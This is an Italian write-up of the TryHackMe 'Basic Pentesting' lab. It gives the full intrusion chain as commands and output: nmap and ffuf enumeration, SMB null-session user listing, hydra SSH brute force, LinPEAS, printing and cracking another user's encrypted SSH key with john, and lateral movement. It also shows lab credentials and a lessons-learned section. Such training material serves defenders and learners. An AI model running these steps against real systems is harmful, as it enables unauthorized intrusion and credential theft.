

Basic Pentesting — TryHackMe Writeup

Target IP: 10.129.148.83

1. Reconnaissance

Scansione iniziale con nmap (primo tentativo senza `-Pn` risulta host down, probabilmente per blocco dei probe ICMP):

```
nmap -sS -sVC 10.129.148.83
nmap -sS -sVC -Pn 10.129.148.83
```

```
(kali@kali)-[~]
$ nmap -sS -sVC 10.129.148.83
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-14 11:06 +0200
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.24 seconds

(kali@kali)-[~]
$ nmap -sS -sVC -Pn 10.129.148.83
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-14 11:06 +0200
Nmap scan report for 10.129.148.83
Host is up (0.036s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 d3:56:f6:26:b7:a7:bb:cb:68:de:86:6e:f1:f6:aa:db (RSA)
|   256 41:0e:83:f9:32:d8:81:48:43:c5:0e:03:31:44:24:95 (ECDSA)
|_  256 2e:95:87:2a:a7:d0:67:0c:46:b7:18:cc:37:0e:4b:3e (ED25519)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
|_ ajp-methods:
|_   Supported methods: GET HEAD POST OPTIONS
8080/tcp  open  http         Apache Tomcat 9.0.7
|_ http-favicon: Apache Tomcat
|_ http-title: Apache Tomcat/9.0.7
|_ http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ smb2-security-mode:
|   3.1.1:
|_   Message signing enabled but not required
|_ smb2-time:
|   date: 2026-09-14T09:06:51
|_   start_date: N/A
|_ nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.95 seconds
```

Risultato:

Porta	Servizio	Versione
22	SSH	OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80	HTTP	Apache httpd 2.4.41 (Ubuntu)
139	netbios-ssn	Samba smbd 4

Porta	Servizio	Versione
445	netbios-ssn	Samba smbd 4
8009	ajp13	Apache Jserv (Protocol v1.3)
8080	HTTP	Apache Tomcat 9.0.7

Nota: SMB signing abilitato ma non richiesto.

2. Enumerazione Web

2.1 Pagina principale

Il sito su porta 80 mostra una pagina di manutenzione:

Undergoing maintenance

Please check back later

Ispezionando il sorgente HTML si trova un commento sospetto:

```
<!-- Check our dev note section if you need to know what to work on. -->
```

2.2 Directory brute-forcing

Enumerazione directory con ffuf:

```
ffuf -u http://10.129.148.83/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -c
```

```
(kali㉿kali)-[~]
$ ffuf -u http://10.129.148.83/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -c 67

2.1.0-dev

:: Method      : GET
:: URL         : http://10.129.148.83/FUZZ
:: Wordlist     : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration  : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200-299,301,302,307,401,403,405,500

.hta           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 39ms]
.htpasswd      [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 40ms]
.htaccess      [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 40ms]
development    [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 36ms]
index.html     [Status: 200, Size: 158, Words: 20, Lines: 11, Duration: 37ms]
server-status  [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 38ms]
:: Progress: [4750/4750] :: Job [1/1] :: 1075 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
```

Directory trovate:

Path	Status	Note
.hta , .htpasswd , .htaccess	403	Accesso negato
/development/	301	Directory listing abilitato
index.html	200	Pagina principale
server-status	403	Accesso negato

2.3 Directory /development

Il path `/development/` conferma il suggerimento trovato nel commento HTML:

Index of /development

Name	Last modified	Size	Description
 Parent Directory		-	
 dev.txt	2018-04-23 14:52	483	
 j.txt	2018-04-23 13:10	235	

Apache/2.4.41 (Ubuntu) Server at 10.129.148.83 Port 80

File trovati: `dev.txt` (483 byte), `j.txt` (235 byte)

Contenuto di dev.txt :

```
2018-04-23: I've been messing with that struts stuff, and it's pretty cool!
I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
```

Contenuto di j.txt :

```
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

-K
```

Elementi utili raccolti:

- Due possibili utenti: **J** (jan) e **K** (kay)
- Indizio che la password di "J" era debole e soggetta a una "password policy" aziendale (utile per costruire pattern per il bruteforce)

3. Enumerazione utenti SMB

Enumerazione degli utenti locali tramite SMB (null session):

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
S-1-22-1-1002 Unix User\ubuntu (Local User)
```

```
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
S-1-22-1-1002 Unix User\ubuntu (Local User)
```

Confermati quindi gli utenti **kay**, **jan** e **ubuntu**.

4. Bruteforce SSH

Primi tentativi con hydra su una wordlist di username generica falliscono per troppi errori di protocollo SSH (troppi thread paralleli):

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/UsernameNames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/rockyou.txt ssh
://10.129.148.83 -v -t64
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-14 11:13:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 118993316406545 login tries (l:8295455/p:14344399), ~18592705688 53 tries per task
[DATA] attacking ssh://10.129.148.83:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://info@10.129.148.83:22
[INFO] Successful, password authentication is supported by ssh://10.129.148.83:22
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 14 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 25 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 19 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[VERBOSE] Disabled child 24 because of too many errors
[VERBOSE] Disabled child 31 because of too many errors
[VERBOSE] Disabled child 35 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[VERBOSE] Disabled child 17 because of too many errors
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 18 because of too many errors
[VERBOSE] Disabled child 20 because of too many errors
[VERBOSE] Disabled child 36 because of too many errors
[VERBOSE] Disabled child 44 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 28 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
```

Ristretto l'attacco all'utente **jan** (individuato tramite SMB) con rockyou.txt come wordlist password:

```
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.129.148.83
```

```
[ATTEMPT] target 10.129.148.83 - login jan - pass catdog - 779 of 14344441 [c
[ATTEMPT] target 10.129.148.83 - login "jan" - pass "armando" - 780 of 14344441 [c
[ATTEMPT] target 10.129.148.83 - login "jan" - pass "margarita" - 781 of 14344441
[22][ssh] host: 10.129.148.83 login: jan password: armando
[STATUS] attack finished for 10.129.148.83 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-14 11:14:05
```

Credenziali trovate:

```
login: jan password: armando
```

5. Accesso Iniziale

Login SSH con le credenziali trovate:

```
ssh jan@10.129.148.83
```

```
(kali@kali)-[~]
$ ssh jan@10.129.148.83
The authenticity of host '10.129.148.83 (10.129.148.83)' can't be established.
ED25519 key fingerprint is: SHA256:M26ktb8CGfoNAH6tpTiD6k+D1rH1JbaqZpLnv4u5W6A
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.148.83' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
jan@10.129.148.83's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Mon 14 Sep 2026 05:48:00 AM EDT

System load:  0.86               Processes:           166
Usage of /:   50.1% of 13.62GB   Users logged in:    0
Memory usage: 67%               IPv4 address for ens5: 10.129.148.83
Swap usage:   0%

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet
s

Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@ip-10-129-148-83:~$
```

Accesso confermato come utente **jan** su Ubuntu 20.04.6 LTS.

6. Enumerazione locale con LinPEAS

Trasferimento di linpeas sulla macchina target via scp:

```
scp /usr/share/peass/linpeas/linpeas.sh jan@10.129.148.83:/dev/shm
```

```
(kali@kali)-[~/Downloads]
$ scp /usr/share/peass/linpeas/linpeas.sh jan@10.129.148.83:/dev/shm
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
jan@10.129.148.83's password:
linpeas.sh 100% 1110KB 897.4KB/s 00:01
```

Esecuzione dello script con output salvato su file:

```
./linpeas.sh | tee linlog.txt
```

```

jan@ip-10-129-148-83:/dev/shm$ ls
linpeas.sh
jan@ip-10-129-148-83:/dev/shm$ ./linpeas.sh | tee linlog.txt
Linux version 4.4.0-119-generic (buildd@lcy01-6ubuntu1~16.04.9) #143-Ubuntu SMP Mon
User: jan (jan) gid=1001(jan) group=
Host:
Architecture: x86_64
Kernel: 4.4.0-119-generic
Shell: /bin/bash
Tool: linpeas-ng
File for network discovery: /dev/shm/linpeas-ng/linpeas-ng-4.4.0-119-generic
for network discover &
rn more with -h)

Do you like PEASS?
Linux PE & Hardening : https://hacktricks-training.com/courses/lhe/
Learn Cloud Hacking : https://training.hacktricks.xyz
Follow on Twitter : @hacktricks_live
Respect on HTB : SirBroccoli

Thank you!

LinPEAS-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse
of this software will not be the responsibility of the author or of any other collaborator. Use it at your own comp
uters and/or with the computer owner's permission.

```

Trovato durante l'enumerazione: una chiave privata SSH esposta.

```
== Possible private SSH keys were found!  
/home/kay/.ssh/id_rsa
```

```
/home/kay/.ssh/id_rsa
```

Recupero del contenuto della chiave (protetta da passphrase, cifratura AES-128-CBC):

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

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
-----END RSA PRIVATE KEY-----
```

7. Cracking della chiave privata

Estrazione dell'hash della passphrase con `ssh2john` e cracking offline con `john`:

```
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
john --show id_rsa.hash
```

```
(kali@kali)-[~/Desktop/cybersec/basic pen]
$ ssh2john id_rsa > id_rsa.hash && john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash && john --show id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
1g 0:00:00:00 DONE (2026-09-14 14:49) 14.28g/s 1182Kp/s 1182Kc/s 1182KC/s betzabeth..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
id_rsa:beeswax
```

Passphrase trovata:

```
id_rsa:beeswax
```

8. Movimento laterale — utente kay

Login come **kay** utilizzando la chiave privata sbloccata con la passphrase trovata:

```
ssh -i /home/kay/.ssh/id_rsa kay@10.128.139.34
```

```
jan@ip-10-128-139-34:/home$ ssh -i /home/kay/.ssh/id_rsa kay@10.128.139.34
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.128.139.34 (10.128.139.34)' can't be established.
ECDSA key fingerprint is SHA256:omNlTKVnh2cURVWuuA7GhFSJOUhM15SNyma28ToU5b6Q.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key '/home/kay/.ssh/id_rsa':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Mon 14 Sep 2026 09:01:19 AM EDT

System load:  0.02               Processes:    119
Usage of /:   50.6% of 13.62GB   Users logged in: 1
Memory usage: 57%              IPv4 address for ens5: 10.128.139.34
Swap usage:   0%

Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Sun Jun 22 13:40:04 2025 from 10.23.8.228
kay@ip-10-128-139-34:~$ ls
pass.bak
kay@ip-10-128-139-34:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$
```

Nella home di kay è presente un file di backup della password:

```
cat pass.bak
```

```
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

Coerente con l'indizio lasciato nel file `j.txt` sulla "password policy" aziendale.

9. Riepilogo tecniche usate

- Enumerazione porte/servizi: `nmap`
- OSINT dal sorgente HTML: commento nascosto che indirizza a `/development/`
- Enumerazione directory web: `ffuf`
- Raccolta credenziali/username da note testuali esposte (`dev.txt` , `j.txt`)
- Enumerazione utenti locali via SMB (null session)
- Bruteforce SSH mirato con `hydra` (utente noto + `rockyou.txt`)
- Post-exploitation/enumerazione automatizzata: `linpeas.sh`
- Individuazione ed exfiltration di una chiave privata SSH protetta da passphrase
- Cracking offline della passphrase con `ssh2john` + `john`
- Movimento laterale tramite chiave privata craccata verso un secondo utente (kay)

10. Lezioni apprese

- Commenti HTML lasciati per errore in produzione possono rivelare percorsi interni non pensati per essere pubblici.
- Note di sviluppo/debug (`dev.txt` , `j.txt`) esposte in chiaro su web server sono una fonte primaria di intelligence su utenti, policy e abitudini del team.
- L'enumerazione SMB anche senza credenziali (null session) può rivelare l'elenco completo degli utenti locali, restringendo enormemente la superficie per un bruteforce mirato.
- Un bruteforce SSH ha successo molto più rapidamente se ristretto a un singolo username noto invece che su liste generiche di username + password.
- Le chiavi private SSH lasciate leggibili su disco (anche se protette da passphrase) sono craccabili offline se la passphrase è debole o presente in wordlist comuni come `rockyou.txt`.